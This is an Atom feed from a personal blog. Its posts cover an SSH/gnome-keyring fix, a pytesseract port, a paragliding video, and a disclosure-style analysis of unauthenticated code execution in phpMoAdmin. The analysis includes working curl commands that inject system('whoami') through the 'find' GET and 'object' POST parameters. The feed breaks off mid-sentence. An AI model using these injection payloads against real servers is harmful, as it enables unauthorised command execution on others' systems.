<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Sr4l.de</title><link href="https://sr4l.de/" rel="alternate"></link><link href="https://sr4l.de/feeds/all.atom.xml" rel="self"></link><id>https://sr4l.de/</id><updated>2020-10-13T11:20:05+02:00</updated><entry><title>OpenSSH keyfile format doesn't play with gnome-keyring daemon</title><link href="https://sr4l.de/openssh-keyfile-format-doesnt-play-with-gnome-keyring-daemon.html" rel="alternate"></link><published>2017-09-30T15:55:00+02:00</published><updated>2020-10-13T11:20:05+02:00</updated><author><name>Lars</name></author><id>tag:sr4l.de,2017-09-30:/openssh-keyfile-format-doesnt-play-with-gnome-keyring-daemon.html</id><summary type="html">&lt;p&gt;If you use the OpenSSH keyfile format (ssh-keygen -o or using Ed25519
keys) and using gnome-keyring you may get:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;sr4l&lt;/span&gt;&lt;span class="nv"&gt;@Lars&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nl"&gt;Laptop&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="nv"&gt;@server&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nl"&gt;sign_and_send_pubkey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;signing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;agent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refused&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="n"&gt;Permission&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;denied&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;publickey&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This error message cost me a lot of time because on some PCs it does
work on others it  doesn't. Later I discovered that the problem only
occurred if the keys have the default name ~/ssh/id_rsa. Later I found
similar reports leading to gnome-keyring daemon.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solutions:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Deactivate gnome-keyring entirely&lt;/li&gt;
&lt;li&gt;Only deactivate the gnome-keyring SSH backend&lt;/li&gt;
&lt;li&gt;Safe your keyfiles with a non-default …&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;If you use the OpenSSH keyfile format (ssh-keygen -o or using Ed25519
keys) and using gnome-keyring you may get:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;sr4l&lt;/span&gt;&lt;span class="nv"&gt;@Lars&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nl"&gt;Laptop&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="nv"&gt;@server&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nl"&gt;sign_and_send_pubkey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;signing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;agent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refused&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="n"&gt;Permission&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;denied&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;publickey&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This error message cost me a lot of time because on some PCs it does
work on others it  doesn't. Later I discovered that the problem only
occurred if the keys have the default name ~/ssh/id_rsa. Later I found
similar reports leading to gnome-keyring daemon.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solutions:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Deactivate gnome-keyring entirely&lt;/li&gt;
&lt;li&gt;Only deactivate the gnome-keyring SSH backend&lt;/li&gt;
&lt;li&gt;Safe your keyfiles with a non-default name and use ssh-add /path/to/file or ~/.ssh/config to use them&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A good resource for detailed solutions can be found in the &lt;a href="https://wiki.archlinux.org/index.php/GNOME/Keyring"&gt;Arch Linux 
Wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Notes for XFCE:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In XFCE gnome-keyring starts automatically if you have "Launch GNOME
services on startup" under "Settings &amp;gt; Session and Startup &amp;gt; Advanced"
checked. I unchecked it and enabled gnome-keyring by enabling gnome-keyring
pkcs11 and secrets backend in "Settings &amp;gt; Session and Startup &amp;gt; 
Application Autostart"&lt;/p&gt;</content><category term="Blog"></category><category term="Linux"></category><category term="Security"></category></entry><entry><title>Ported pytesseract to Python3</title><link href="https://sr4l.de/ported-pytesseract-to-python3.html" rel="alternate"></link><published>2016-01-27T09:43:00+01:00</published><updated>2020-10-13T11:20:05+02:00</updated><author><name>Lars Kistner</name></author><id>tag:sr4l.de,2016-01-27:/ported-pytesseract-to-python3.html</id><content type="html">&lt;p&gt;Over a year ago I started a new project and needed &lt;a href="https://en.wikipedia.org/wiki/Optical_character_recognition"&gt;OCR&lt;/a&gt;. I choose
&lt;a href="https://pypi.python.org/pypi/pytesseract"&gt;pytesseract&lt;/a&gt; but there was no Python 3 support and I made the decision
to port it. And so this was &lt;a href="https://github.com/madmaze/pytesseract/pull/9"&gt;my first pull request&lt;/a&gt; to an open source
project. It wasn't much work but now pytesserect supports Python 2 and 3
with the same codebase.&lt;/p&gt;
&lt;p&gt;PS: Ok my &lt;a href="https://github.com/jsliang/pelican-fresh/pull/12"&gt;first pull request&lt;/a&gt; was to &lt;strong&gt;pelican-fresh&lt;/strong&gt; theme, but this was even less work.&lt;/p&gt;</content><category term="Blog"></category><category term="Python"></category></entry><entry><title>Paragliding winch tow</title><link href="https://sr4l.de/paragliding-winch-tow.html" rel="alternate"></link><published>2015-08-22T16:07:00+02:00</published><updated>2020-10-13T11:20:05+02:00</updated><author><name>Lars Kistner</name></author><id>tag:sr4l.de,2015-08-22:/paragliding-winch-tow.html</id><content type="html">&lt;p&gt;Last week I made a video in Edermünde (Grifte, near Kassel) in Germany
from on of my practice flights with my paraglider. Its recorded with a
Mobis ActionCam (1080p@30fps) strapped around my leg. It's in full length,
but I modified the audio and remove most radio communication. Enjoy!&lt;/p&gt;
&lt;iframe src="https://player.vimeo.com/video/137000443" width="500" height="281" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;a href="https://vimeo.com/137000443"&gt;Paragliding winch tow&lt;/a&gt; from &lt;a href="https://vimeo.com/user29759274"&gt;Lars Kistner&lt;/a&gt; on &lt;a href="https://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;</content><category term="Blog"></category><category term="Flying"></category><category term="Video"></category></entry><entry><title>Zero-Day-Exploit for phpMoAdmin</title><link href="https://sr4l.de/zero-day-exploit-for-phpmoadmin.html" rel="alternate"></link><published>2015-03-10T18:01:00+01:00</published><updated>2020-10-13T11:20:05+02:00</updated><author><name>Lars Kistner</name></author><id>tag:sr4l.de,2015-03-10:/zero-day-exploit-for-phpmoadmin.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;Cross post: Also on &lt;a href="https://github.com/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP/issues/26"&gt;Github&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A week ago I read a security alert at &lt;a href="http://www.heise.de/security/meldung/Zero-Day-Exploit-fuer-phpMoAdmin-Luecke-2566518.html"&gt;'heise Security' &lt;/a&gt; . It's a
German IT news site. The article was about someone is selling a
Zero-Day-Exploit for phpMoAdmin. Here is another &lt;a href="http://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html"&gt;source&lt;/a&gt;
in English. Because nobody has written an issue or a fix a week later I
decided to write all the stuff down I figured out last week.&lt;/p&gt;
&lt;p&gt;At least for the &lt;em&gt;second  bug&lt;/em&gt; I already found Metasploit scripts. So
I decide to publish the exploits as well. Its already all over the 
Internet.&lt;/p&gt;
&lt;p&gt;Well, the fact that &lt;strong&gt;there is a security hole&lt;/strong&gt; and …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Cross post: Also on &lt;a href="https://github.com/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP/issues/26"&gt;Github&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A week ago I read a security alert at &lt;a href="http://www.heise.de/security/meldung/Zero-Day-Exploit-fuer-phpMoAdmin-Luecke-2566518.html"&gt;'heise Security' &lt;/a&gt; . It's a
German IT news site. The article was about someone is selling a
Zero-Day-Exploit for phpMoAdmin. Here is another &lt;a href="http://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html"&gt;source&lt;/a&gt;
in English. Because nobody has written an issue or a fix a week later I
decided to write all the stuff down I figured out last week.&lt;/p&gt;
&lt;p&gt;At least for the &lt;em&gt;second  bug&lt;/em&gt; I already found Metasploit scripts. So
I decide to publish the exploits as well. Its already all over the 
Internet.&lt;/p&gt;
&lt;p&gt;Well, the fact that &lt;strong&gt;there is a security hole&lt;/strong&gt; and not &lt;strong&gt;what
the hole is&lt;/strong&gt; I got interested. I'm not using MongoDB and I am not so 
much into PHP, but a close look at the source and I found two suspects
that might  be a problem.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;556&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$find = &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;find&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;694&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$obj=&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;$obj&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The first is obviously risky, an &lt;code&gt;eval&lt;/code&gt; over a GET parameter. The second
could be, depends on $obj.&lt;/p&gt;
&lt;h2&gt;The first&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;272&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="n"&gt;moadminModel&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;546&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;function &lt;/span&gt;&lt;span class="nf"&gt;listRows&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="err"&gt;$collection&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;547&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;        &lt;span class="n"&gt;foreach&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sort&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;$val&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="c1"&gt;//cast vals to int&lt;/span&gt;
&lt;span class="mi"&gt;548&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;            &lt;span class="n"&gt;$sort&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;$key&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;$val&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;549&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;        &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="mi"&gt;550&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;        &lt;span class="n"&gt;$col&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;mongo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;selectCollection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$collection&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;551&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;552&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;        &lt;span class="n"&gt;$find&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="mi"&gt;553&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isset&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;find&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;find&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;554&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;            &lt;span class="n"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;find&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;trim&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;find&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;]);&lt;/span&gt;
&lt;span class="mi"&gt;555&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strpos&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;find&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;],&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;array&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;556&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;                &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$find = &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;find&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;            &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For the first we need to call the &lt;code&gt;listRows&lt;/code&gt; function and can than inject
code in the &lt;code&gt;$_GET['find']&lt;/code&gt; key, but find must start with &lt;code&gt;array&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There seems only one way to call &lt;code&gt;listRows&lt;/code&gt;, and this is by setting the
GET key &lt;code&gt;action&lt;/code&gt;, supply a fake &lt;code&gt;collection&lt;/code&gt; and our manipulated find
key.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;739&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="n"&gt;moadminComponent&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;763&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;function &lt;/span&gt;&lt;span class="nf"&gt;__construct&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;      &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;837&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isset&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;collection&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$action&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;listCollections&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;method_exists&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;$model&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$action&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;838&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;        &lt;span class="n"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;mongo&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;$action&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;$model&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;$action&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;collection&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;]);&lt;/span&gt;
&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;1978&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;$mo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;moadminComponent&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;moadminComponent&lt;/code&gt; is created at the beginning without login or session
check, so this makes it all too easy. We can run every shell command by
providing the right GET keys.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploit:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl "http://localhost/phpmoadmin/moadmin.php?action=listRows&amp;amp;collection=0&amp;amp;find=array();system(%27whoami%27);exit;"&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;And the second?&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;693&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;function &lt;/span&gt;&lt;span class="nf"&gt;saveObject&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="err"&gt;$collection,&lt;/span&gt; &lt;span class="err"&gt;$obj&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;691&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$obj=&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;$obj&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;//cast from string to array&lt;/span&gt;
&lt;span class="mi"&gt;692&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;mongo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;selectCollection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$collection&lt;/span&gt;&lt;span class="o"&gt;)-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$obj&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;693&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To exploit the second suspect we need run &lt;code&gt;saveObject&lt;/code&gt;. It seems to be 
called only once, again in the constructor of &lt;code&gt;moadminComponent&lt;/code&gt;, and
the function parameter &lt;code&gt;$obj&lt;/code&gt; is a POST key, it could not be easier:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;739&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="n"&gt;moadminComponent&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;763&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;function &lt;/span&gt;&lt;span class="nf"&gt;__construct&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;788&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;$model&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;saveObject&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;collection&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;],&lt;/span&gt; &lt;span class="n"&gt;$_POST&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;object&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;]))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So with placing a code injection in POST key &lt;code&gt;object&lt;/code&gt; you can run any
shell command with PHP process rights. Again no login needed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploit:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl "http://localhost/phpmoadmin/moadmin.php" -d "object=0;system('whoami');exit"&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Any other problems?&lt;/h2&gt;
&lt;p&gt;Many. Because the check for a valid session is too late you can play with
